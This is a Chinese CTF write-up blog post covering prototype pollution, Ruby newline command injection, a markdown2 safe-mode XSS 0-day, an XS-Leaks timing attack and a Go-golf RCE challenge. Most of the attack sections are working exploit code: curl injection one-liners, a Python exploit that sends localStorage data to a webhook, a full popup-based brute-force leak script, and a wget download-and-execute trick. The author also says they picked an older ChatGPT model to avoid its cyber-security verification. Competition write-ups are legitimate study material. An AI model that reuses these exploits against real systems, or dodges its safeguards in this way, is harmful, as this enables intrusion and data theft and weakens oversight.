Junkiness
源码有明显的防止原型链污染:
if (username.length > 8) { return res.status(400).json({ message: "Username must not be longer than 8 characters." }); }
if (/\W/.test(username)) { return res.status(400).json({ message: "Username must be an alphanumeric string." }); }比如__proto__刚好长度是9,而且包含下划线(\W)。不过传入数组可以完美绕开限制,数组的.length将返回1,而 toString() 后的 proto 不包含任何 \W 字符(下划线是 \w)
POST /register
username[]=__proto__&password[password]=114514&password[isAdmin]=true使用 password/114514登录,访问/flag拿到flag。

Who Is He
考察Ruby对于换行符%0a的解析差异:

curl -X POST http://192.168.216.2:4567/lookup -d "domain=google.com%0a/readflag%20'could%20you%20please%20give%20me%20the%20flag%20thank%20you%20so%20much'"
curl -X POST http://192.168.216.2:4567/lookup -d "domain=google.com%0acat%20flag.txt"
curl -X POST http://b64ab9de2a89.who-is-he.ctf.theromanxpl0.it/lookup -d "domain=aa.bb%0acat%20flag.txt"
curl -X POST http://b64ab9de2a89.who-is-he.ctf.theromanxpl0.it/lookup -d "domain=aa.bb%0a/readflag%20'could%20you%20please%20give%20me%20the%20flag%20thank%20you%20so%20much'"markdown2
markdown2的0day,作者在比赛结束当天就发出来了 (Random Salt Leak leads to Safe Mode XSS #699),Issue链接:https://github.com/trentm/python-markdown2/issues/699
这个salvatore-abello(应该就是出题人,看issue历史,过去几年盯着markdown2找了好几个xss)给出的poc如下:
first get the output of
markdown2.markdown("""![`" onerror="alert(1)//`]()""", safe_mode="escape")# output: '<p><img src="" alt="<code>md5-2e7b9665ab3aa53368daab9d6e1b01cf</code>" />\n<img src="code>md5-02aa018d017f0f6904e85977e7b09872//</code" alt="a" /></p>\n'This leaks the internal salt.
Get the internal salt and replace REPLACEME with it:
>>> markdown2.markdown("""![`" onerror="alert(1)//`]()""", safe_mode="escape")# output: '<p><img src="" alt="<code>md5-2e7b9665ab3aa53368daab9d6e1b01cf</code>" /><img src="code>" onerror="alert(1)////</code" alt="a" /></p>\n'Debug info Version of library being used: 2.5.6 (fetched from github)

这真得非常熟悉markdown2的解析流程,特别是safe-mode被认为是“safe“的原因。为了防止xss,代码块实际上被转为了一串类似md5-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx的东西,内部维护一个映射表,之后再映射回来。
不过如果我提前泄露了这个hash,并且提前写入xss代码,然后直接通过image显示这个hash对应的内容,实际上就绕过了转义。比较惊讶的是,AI居然能完整梭出来。我提供了markdown2最新的commit的完整仓库压缩包,然后就出了,耗时15分钟。以下是完整的AI输出,是ChatGPT 5.4-Thinking 进阶,不用5.5是因为太容易触发cyber-security验证了。
可以打,关键点是 两阶段 XSS:先泄漏 markdown2 进程内的 code-span hash,再把这个 hash 放进 reference-style image URL,让它在后续反转义阶段变回未转义的代码内容,从而逃逸出 src 属性。
旧的 markdown2 XSS 思路已经被新版修过,比如 code span 注入 image src 的问题和 iframe/srcdoc safe_mode 绕过;这题里还额外先用 bleach.clean(tags=[]) 清掉原生 HTML,所以不能直接套旧 payload。(GitHub)
漏洞链
后端逻辑大致是:
safe_md = bleach.clean(md, tags=[], attributes={}, protocols=[], strip=True)html = Markup(markdown2.markdown(safe_md, safe_mode="escape"))bleach 只是在 Markdown 渲染前清理原始 HTML 标签,但 Markdown 图片语法仍会被 markdown2 转成 <img>。
核心问题:
- code span 会被
markdown2存成类似md5-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx的占位符。 - 这个 hash 在同一 Flask 进程内稳定。
- 某些位置会把这个 hash 泄漏出来。
- reference-style image 的 URL 分支没有及时对 hash 展开并转义,最终在属性中反转义成原始 code 内容。
第一步:泄漏 hash
提交这个 Markdown:
渲染结果会类似:
<img src="x" alt="<code>md5-b3c09f3a7b104e6f57afaae24eb95b5f</code>" />记下其中的:
md5-b3c09f3a7b104e6f57afaae24eb95b5f第二步:构造最终 payload
把上一步泄漏的 hash 放到 reference link 里:
`x" onerror=location='https://your-webhook.example/?f='+localStorage.flag//`
![][r]
[r]: md5-b3c09f3a7b104e6f57afaae24eb95b5f它会被渲染成类似:
<p><code>x" onerror=location='https://your-webhook.example/?f='+localStorage.flag//</code></p>
<p><img src="x" onerror=location='https://your-webhook.example/?f='+localStorage.flag//" alt="" /></p>src="x" 加载失败,触发 onerror,然后把 localStorage.flag 带到你的 webhook。
题目的 CSP 里有:
script-src 'self' 'unsafe-inline'所以内联事件处理器可以执行。
自动化脚本
注意:bot 先访问的是 http://localhost:1337 并在那里写入 localStorage.flag,所以最终提交给 /report 的 URL 也应该是 http://localhost:1337/?markdown=...,不能用公网 challenge 域名,否则不是同一个 origin,读不到 flag。
import refrom urllib.parse import quote
import requests
PUBLIC = "http://challenge-host:1337" # 你从外部访问题目的地址BOT_BASE = "http://localhost:1337" # 提交给 bot 访问的地址CB = "https://webhook.site/xxxxxx?f=" # 换成你的回连地址
js = f'x" onerror=location={CB!r}+localStorage.flag//'
# 1. 泄漏当前 markdown2 进程内的 code-span hashleak_md = f""r = requests.get(PUBLIC + "/", params={"markdown": leak_md}, timeout=10)
m = re.search(r"md5-[a-f0-9]{32}", r.text)if not m: print(r.text) raise SystemExit("[-] hash not found")
h = m.group(0)print("[+] leaked hash:", h)
# 2. 使用泄漏的 hash 构造最终 XSSexploit_md = f"`{js}`\n\n![][r]\n\n[r]: {h}"exploit_url = BOT_BASE + "/?markdown=" + quote(exploit_md, safe="")
print("[+] exploit URL:")print(exploit_url)
# 3. 上报给 botresp = requests.post(PUBLIC + "/report", data={"url": exploit_url}, timeout=10)print("[+] report status:", resp.status_code)print(resp.text)如果成功,你的 webhook 会收到类似:
TRX{...}一个小前提:这个利用依赖 hash salt 与 _code_table 行为在服务进程内稳定。题目给的 Flask dev server / 单进程部署下可以直接用;如果远端开了多 worker,泄漏 hash 和 bot 访问必须命中同一个进程。
真的无敌了。
are xsleaks dead
题目给了两个服务:
bot-<hash>...:机器人访问我们提交的 URL,并带着已登录状态。app-<hash>...:目标站点,内部保存 flag。Flag 格式:TRX{[a-z0-9_]{30}}
考察search缓存导致的响应速度差异侧信道。通过靶机提供的搜索功能(参数q),当搜索词是flag的前缀时,页面返回结果路径和无结果路径在加载速度和缓存行为上存在差异。
不过无法跨域读取页面内容,但可以利用:
window.open(...)w.location = targetsetTimeout(()=>w.stop(), delay)然后判断窗口是否已经进入cross-origin状态:
try { w.origin } catch(e) { /* cross-origin */ }如果搜索命中(比方说TRX{X匹配了flag前缀),页面就会很快完成导航;如果未命中,则仍停留在about:blank。然后就可以逐位爆破flag了…吗?
这网络延迟这差异根本感知不出来啊,假阴性,假阳性,每次都不一样,本地还好,远程跑更是无语。。道理是这么个道理…总之来看AI优化的脚本吧:

#!/usr/bin/env python3import argparseimport jsonfrom http.server import BaseHTTPRequestHandler, HTTPServerfrom urllib.parse import urlparse, parse_qs
parser = argparse.ArgumentParser()parser.add_argument("--host", default="0.0.0.0")parser.add_argument("--port", type=int, default=60012)parser.add_argument( "--target", default="http://web:8000/", help="must be the same host where bot created sid; local/remote usually http://web:8000/")parser.add_argument( "--delay", type=int, default=None, help="force STOP_DELAY, e.g. remote try --delay 10")parser.add_argument( "--prefix", default="TRX{", help="known prefix to resume from. Accepts full prefix like TRX{abc or inner prefix like abc")parser.add_argument( "--trust-unique", action="store_true", help="if quick scan returns exactly one candidate, accept it without confirm")args = parser.parse_args()
HOST = args.hostPORT = args.portTARGET = args.targetFORCE_DELAY = args.delayTRUST_UNIQUE = args.trust_unique
def normalize_prefix(s: str) -> str: s = s.strip() if s.endswith("}"): s = s[:-1] if not s.startswith("TRX{"): s = "TRX{" + s return s
PREFIX = normalize_prefix(args.prefix)
if len(PREFIX) < len("TRX{"): raise SystemExit("bad prefix")if len(PREFIX) > len("TRX{") + 30: raise SystemExit("prefix too long for TRX{[a-z0-9_]{30}}")
HTML_TEMPLATE = r'''<!doctype html><meta charset="utf-8"><body><script>const TARGET = __TARGET_JSON__;const FORCE_DELAY = __FORCE_DELAY_JSON__;const INITIAL_PREFIX = __PREFIX_JSON__;const TRUST_UNIQUE = __TRUST_UNIQUE_JSON__;
const ALPHABET = "abcdefghijklmnopqrstuvwxyz0123456789_";const FLAG_PREFIX = "TRX{";const SECRET_LEN = 30; // inside braces: TRX{[a-z0-9_]{30}}const TOTAL_PREFIX_LEN = FLAG_PREFIX.length + SECRET_LEN;const NEG_SUFFIX = "!"; // impossible in flag alphabet
// Main tuning.const POOL_SIZE = 10;const RESET_MS = 85;const WARM_MS = 240;const AFTER_STOP_MS = 105;const BATCH_GAP_MS = 45;
// Voting.const QUICK_ROUNDS = 2;const CONFIRM_ROUNDS = 5;const EXTRA_CONFIRM_ROUNDS = 6;const RESCUE_ROUNDS = 8;
// Confidence thresholds.const MIN_MARGIN = 2;const AMBIG_SCORE_GAP = 40;
let STOP_DELAY = 4;let prefix = INITIAL_PREFIX;let pool = [];let seq = 0;
const sleep = ms => new Promise(r => setTimeout(r, ms));const rnd = n => Math.floor(Math.random() * n);
function exfil(msg) { new Image().src = "/leak?d=" + encodeURIComponent(msg) + "&t=" + Date.now() + "-" + Math.random();}
function makeUrl(q, tag) { const u = new URL(TARGET); u.searchParams.set("q", q); u.searchParams.set("_", tag + "-" + (seq++)); return u.toString();}
function safeNav(w, url) { try { w.location = url; } catch (e) {}}
function isCrossOrigin(w) { try { void w.origin; return false; } catch (e) { return true; }}
function shuffle(arr) { arr = arr.slice(); for (let i = arr.length - 1; i > 0; i--) { const j = Math.floor(Math.random() * (i + 1)); [arr[i], arr[j]] = [arr[j], arr[i]]; } return arr;}
async function ensurePool() { while (pool.length < POOL_SIZE) { const i = pool.length; const w = open( "about:blank", "chk" + i, "width=80,height=80,left=" + (i * 15) + ",top=0" ); if (!w) break; pool.push(w); await sleep(20); } exfil("pool=" + pool.length); return pool.length > 0;}
async function resetWindows(ws) { for (const w of ws) safeNav(w, "about:blank"); await sleep(RESET_MS + rnd(30));}
async function runQueries(qs, label, delay = STOP_DELAY) { const out = new Array(qs.length).fill(false);
for (let off = 0; off < qs.length; off += pool.length) { const chunk = qs.slice(off, off + pool.length); const ws = pool.slice(0, chunk.length); const urls = chunk.map((q, i) => makeUrl(q, label + "-" + (off + i)));
await resetWindows(ws);
for (let i = 0; i < ws.length; i++) safeNav(ws[i], urls[i]); await sleep(WARM_MS + rnd(45));
await resetWindows(ws);
for (let i = 0; i < ws.length; i++) { const w = ws[i]; safeNav(w, urls[i]); setTimeout(() => { try { w.stop(); } catch (e) {} }, delay); }
await sleep(delay + AFTER_STOP_MS + rnd(35));
for (let i = 0; i < ws.length; i++) { const hit = isCrossOrigin(ws[i]); out[off + i] = hit; if (hit) safeNav(ws[i], "about:blank"); }
await sleep(BATCH_GAP_MS + rnd(25)); }
return out;}
async function calibrate() { if (!await ensurePool()) { exfil("popup_blocked"); return false; }
const delays = [0, 1, 2, 3, 4, 6, 8, 10, 12, 16, 20, 24, 32]; let best = null;
for (const d of delays) { const n = 8; const qs = [];
for (let i = 0; i < n; i++) qs.push(FLAG_PREFIX); for (let i = 0; i < n; i++) qs.push(FLAG_PREFIX + NEG_SUFFIX);
const r = await runQueries(qs, "cal-d" + d, d); const tp = r.slice(0, n).filter(Boolean).length; const fp = r.slice(n).filter(Boolean).length; const score = (tp / n) - (fp / n);
exfil(`cal delay=${d} true=${tp}/${n} false=${fp}/${n} sep=${score.toFixed(2)}`);
const cand = {d, tp, fp, score}; if ( !best || cand.fp < best.fp || (cand.fp === best.fp && cand.tp > best.tp) || (cand.fp === best.fp && cand.tp === best.tp && cand.d < best.d) ) { best = cand; }
if (tp >= 5 && fp === 0) { best = cand; break; } }
if (typeof FORCE_DELAY === "number") { STOP_DELAY = FORCE_DELAY; exfil(`using_forced_stop_delay=${STOP_DELAY} cal_best=${best.d} true=${best.tp}/8 false=${best.fp}/8 sep=${best.score.toFixed(2)}`); } else { STOP_DELAY = best.d; exfil(`using_stop_delay=${STOP_DELAY} true=${best.tp}/8 false=${best.fp}/8 sep=${best.score.toFixed(2)}`); }
return best.tp >= 3 && best.score > 0.05;}
function topCharsFromCounts(counts, minCount) { return ALPHABET.split("") .filter(c => counts[c] >= minCount) .sort((a, b) => counts[b] - counts[a] || ALPHABET.indexOf(a) - ALPHABET.indexOf(b));}
async function quickScan(pos) { const counts = Object.fromEntries(ALPHABET.split("").map(c => [c, 0]));
for (let r = 0; r < QUICK_ROUNDS; r++) { const order = shuffle(ALPHABET.split("")); const qs = order.map(c => prefix + c); const hits = await runQueries(qs, `quick-p${pos}-r${r}`);
let hitstr = ""; for (let i = 0; i < order.length; i++) { if (hits[i]) { const c = order[i]; counts[c]++; hitstr += c; } }
exfil(`quick pos=${pos} round=${r} hits=${hitstr || "-"}`); }
return counts;}
async function confirmCandidates(pos, candidates, rounds, label) { const stats = Object.fromEntries( candidates.map(c => [c, {pos: 0, neg: 0, quick: 0}]) );
for (let r = 0; r < rounds; r++) { const order = shuffle(candidates); const qs = [];
for (const c of order) { qs.push(prefix + c); qs.push(prefix + c + NEG_SUFFIX); }
const hits = await runQueries(qs, `${label}-p${pos}-r${r}`);
const line = []; for (let i = 0; i < order.length; i++) { const c = order[i]; const ph = hits[2 * i]; const nh = hits[2 * i + 1];
if (ph) stats[c].pos++; if (nh) stats[c].neg++;
line.push(`${c}:${ph ? 1 : 0}/${nh ? 1 : 0}`); }
exfil(`confirm pos=${pos} ${label} round=${r} ${line.join(",")}`); }
return stats;}
function candidateScore(pos, neg, quick) { const margin = pos - neg;
if (margin <= 0) { return -10000 - neg * 100 + quick; }
return margin * 100 + pos * 8 + quick * 3 - neg * 60;}
function rankCandidates(candidates, stats, quickCounts) { return candidates.map(c => { const s = stats[c] || {pos: 0, neg: 0}; const q = quickCounts[c] || 0;
return { c, pos: s.pos, neg: s.neg, quick: q, margin: s.pos - s.neg, score: candidateScore(s.pos, s.neg, q) }; }).sort((a, b) => b.score - a.score || b.margin - a.margin || b.pos - a.pos || a.neg - b.neg || b.quick - a.quick || ALPHABET.indexOf(a.c) - ALPHABET.indexOf(b.c) );}
function rankedLine(ranked) { return ranked .map(x => `${x.c}:p${x.pos}n${x.neg}q${x.quick}m${x.margin}s${x.score}`) .join(" ");}
function confident(ranked) { if (!ranked || ranked.length === 0) return false;
const b = ranked[0]; if (b.margin < MIN_MARGIN) return false; if (b.pos <= b.neg) return false;
if (ranked.length >= 2) { const second = ranked[1]; if (second.margin > 0 && b.score - second.score < AMBIG_SCORE_GAP) { return false; } }
return true;}
async function rescueAll(pos, quickCounts, oldStats) { exfil(`rescue_all pos=${pos}`);
const all = ALPHABET.split(""); const rescue = await confirmCandidates(pos, all, RESCUE_ROUNDS, "rescue");
const stats = {}; for (const c of all) { const old = oldStats[c] || {pos: 0, neg: 0}; const now = rescue[c] || {pos: 0, neg: 0};
if (old.pos <= old.neg) { stats[c] = {pos: now.pos, neg: now.neg}; } else { stats[c] = { pos: old.pos + now.pos, neg: old.neg + now.neg }; } }
const ranked = rankCandidates(all, stats, quickCounts); exfil(`rank_rescue pos=${pos} ` + rankedLine(ranked)); return {stats, ranked};}
async function leakChar(pos) { let quickCounts = await quickScan(pos);
let candidates = topCharsFromCounts(quickCounts, 1);
if (candidates.length > 10) { candidates = topCharsFromCounts(quickCounts, 2).concat(candidates.slice(0, 10)); }
candidates = [...new Set(candidates)].slice(0, 12);
if (candidates.length === 0) { exfil(`quick_empty pos=${pos}, retry_full_scan`);
const order = shuffle(ALPHABET.split("")); const qs = order.map(c => prefix + c); const hits = await runQueries(qs, `quick-retry-p${pos}`);
let hitstr = ""; for (let i = 0; i < order.length; i++) { if (hits[i]) { const c = order[i]; quickCounts[c]++; hitstr += c; } }
exfil(`quick pos=${pos} retry hits=${hitstr || "-"}`); candidates = topCharsFromCounts(quickCounts, 1).slice(0, 12); }
if (candidates.length === 0) { candidates = ALPHABET.split(""); exfil(`fallback_all_candidates pos=${pos}`); }
exfil(`candidates pos=${pos} prefix=${prefix} set=${candidates.join("")}`);
// New option: // If quick scan found exactly one candidate, allow accepting it immediately. // Useful when confirm's negative control becomes polluted as c:1/1. if (TRUST_UNIQUE && candidates.length === 1 && (quickCounts[candidates[0]] || 0) > 0) { const c = candidates[0]; exfil(`trust_unique pos=${pos} char=${c} q=${quickCounts[c]}`); return c; }
let stats = await confirmCandidates(pos, candidates, CONFIRM_ROUNDS, "conf"); let ranked = rankCandidates(candidates, stats, quickCounts); exfil(`rank pos=${pos} ` + rankedLine(ranked));
if ( ranked.length >= 2 && ( ranked[0].score - ranked[1].score < AMBIG_SCORE_GAP || ranked[0].margin < MIN_MARGIN || ranked[0].pos <= ranked[0].neg ) ) { const top = ranked .filter(x => x.margin > 0 || x.quick > 0) .slice(0, Math.min(6, ranked.length)) .map(x => x.c);
if (top.length > 0) { exfil(`ambiguous pos=${pos} extra=${top.join("")}`);
const extra = await confirmCandidates(pos, top, EXTRA_CONFIRM_ROUNDS, "extra");
for (const c of top) { const old = stats[c] || {pos: 0, neg: 0};
if (old.pos <= old.neg) { stats[c].pos = extra[c].pos; stats[c].neg = extra[c].neg; } else { stats[c].pos += extra[c].pos; stats[c].neg += extra[c].neg; } }
ranked = rankCandidates(candidates, stats, quickCounts); exfil(`rank2 pos=${pos} ` + rankedLine(ranked)); } }
if (!confident(ranked)) { const rescued = await rescueAll(pos, quickCounts, stats); stats = rescued.stats; ranked = rescued.ranked; }
const best = ranked[0]; if (!best) return null;
if (!confident(ranked)) { exfil(`low_confidence pos=${pos} best=${best.c} p=${best.pos} n=${best.neg} q=${best.quick} margin=${best.margin}`); return null; }
exfil(`choose pos=${pos} char=${best.c} p=${best.pos} n=${best.neg} q=${best.quick} margin=${best.margin}`); return best.c;}
async function main() { exfil("start target=" + TARGET); exfil("start_prefix=" + prefix + "}");
if (!prefix.startsWith(FLAG_PREFIX)) { exfil("bad_prefix"); return; }
if (prefix.length > TOTAL_PREFIX_LEN) { exfil("prefix_too_long"); return; }
const ok = await calibrate(); if (!ok) { exfil("calibration_failed_but_trying_anyway"); }
const startPos = prefix.length - FLAG_PREFIX.length; exfil(`resume start_pos=${startPos} remaining=${SECRET_LEN - startPos} trust_unique=${TRUST_UNIQUE ? 1 : 0}`);
for (let i = startPos; i < SECRET_LEN; i++) { const c = await leakChar(i);
if (!c) { exfil("failed_at=" + prefix); return; }
prefix += c; exfil("partial=" + prefix + "}"); }
exfil("flag=" + prefix + "}");
for (const w of pool) { try { w.close(); } catch (e) {} }}
main();</script></body>'''
HTML = ( HTML_TEMPLATE .replace("__TARGET_JSON__", json.dumps(TARGET)) .replace("__FORCE_DELAY_JSON__", json.dumps(FORCE_DELAY)) .replace("__PREFIX_JSON__", json.dumps(PREFIX)) .replace("__TRUST_UNIQUE_JSON__", json.dumps(TRUST_UNIQUE)))
class Handler(BaseHTTPRequestHandler): def do_GET(self): parsed = urlparse(self.path)
if parsed.path == "/leak": qs = parse_qs(parsed.query) print("[LEAK]", qs.get("d", [""])[0], flush=True) body = b"ok" content_type = "text/plain; charset=utf-8" else: print("[REQ]", self.client_address, self.path, flush=True) body = HTML.encode() content_type = "text/html; charset=utf-8"
self.send_response(200) self.send_header("Content-Type", content_type) self.send_header("Cache-Control", "no-store") self.send_header("Content-Length", str(len(body))) self.end_headers() self.wfile.write(body)
def log_message(self, fmt, *args): pass
if __name__ == "__main__": print(f"serving http://0.0.0.0:{PORT}/exploit.html", flush=True) print(f"TARGET = {TARGET}", flush=True) print(f"PREFIX = {PREFIX}}}", flush=True) print(f"TRUST_UNIQUE = {TRUST_UNIQUE}", flush=True) if FORCE_DELAY is not None: print(f"FORCE_DELAY = {FORCE_DELAY}", flush=True)
HTTPServer((HOST, PORT), Handler).serve_forever()- 多窗口并发探测
- 自动校准 stop() 时机
- 多轮投票确认
- 随机化请求顺序,避免缓存污染
慢是慢了点,但好在非常稳定了。
misc-gogolf
非常有趣啊,72字符写go,一个容器,会生成在/tmp/gogolf-xxxxxxx/main.go,然后go run它,5s超时。需要rce执行/readflag pls,并且是nc上去的,需要最终拿到flag。
首先先简单介绍能用的基本操作:
可以创建符号链接,这个最重要了:
package mainimport"os"func main(){os.Symlink("/readflag","/tmp/x")}可以执行shell命令,注意是shell,不是elf,shell是shell,而且是busybox的shell。。。
package mainimport."os/exec"func main(){Command("/tmp/x","pls").Run()}可以执行系统调用去执行,需要传入绝对地址,不能是shell命令,但shebang好像可以:
package main;import."syscall";func main(){Exec("/go/a",[]string{},nil)}可以写文件,但最多写三个字符,而且是覆盖写入:
package main;import."os";func main(){WriteFile("/go/e",[]byte("x"),7)}可以cgo报错回显带出flag,比方说flag已经存在/tmp/f里了:
//#include "/tmp/f"import "C"另外/go/bin在环境变量里,如果有/go/bin/r符号链接到/readflag,直接执行r命令就能执行/readflag。
另外也有限制,busybox是所有工具的集合,意味着实际上各种命令都是到busybox的符号链接,需要传入arg[0]来让busybox知道到底在调用啥。所以符号链接到busybox不可行(说不定行呢?)
至此,一般思路能给到的前提条件就这样了。要做这道题需要有非常扎实的linux基础和对shell的理解。我看了别人的exp,个人感觉可以分为两大流派,shell流和linux流(😂)。前者主要利用shell的灵活性,包括*通配符展开等等特性以及.profile的影响;linux流需要熟悉linux虚拟文件系统,特别是/proc/<pid>/下的妙妙衔接。
这里先零散的给出各自用到的trick:
.profile: 往~/.profile写入cd命令,然后使用sh -lc,通过这个l参数,即可使用login shell来执行,而login shell又会默认加载~/.profile并且自动执行其中的命令来作为初始化。这意味着,pwd直接去/home/ctf了,而这里没有非隐藏文件,随便通配符展开,而且还不用手动chdir;wget: 这个真的神来之笔,靶机出网,直接下载外来命令执行了。wget默认会下载index.html,之后执行这个玩意将flag写入一个文件比如/tmp/f,之后用cgo的include报错带出。至于如何执行wget呢,就要结合上一个trick,创建文件名为wget和x.example.com这两个文件,需要按照字母表顺序排列,然后sh -lc *,卧槽太妙了。- polyglot: 构造一段不会让go报错同时能被当成shell脚本的代码,比如
//;/re* pls>/tmp/f,go里是注释掉了,shell会忽略开头的三个字符。 - copy:
/tmp/gogolf-xxxxxxx每次都会被删掉,但如果复制到其他目录比如/go下,就有搞头了。需要注意的是,得让这个go程序运行足够久,要在被删掉前完成复制,这个可以用package main;import."time";func main(){Sleep(3e9)},也可以用作者的预期解,去读/dev/**urandom**来卡住程序; - 虚拟文件系统:
/proc/<pid>/cwd可以用来获取那个程序的目录来精准复制,当然也可以爆破…这些都需要通过符号链接来缩短长度。
够了,足够了吧,接下来就是自由组合。不过这题72字符其实有些牵强,如果不考虑wget的野路子,实际上成功率是很低的,/tmp/gogolf-xxxxxxx是用go的TempDir生成的,这个随机文件名的x长度为止,大多数时候都是12位,题目需要去爆破它<=8位的时候,而恰巧arm64的golang的这个接口基本不会出现8位的情况(可能是不可能的,有待验证),而我本机模拟x86跑docker巨慢,导致竞争根本没法发生,在复现的时候踩了非常多的坑(这exp怎么都跑不通啊!)
exp一坨屎,等我理得更清楚些再放上来…
如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时









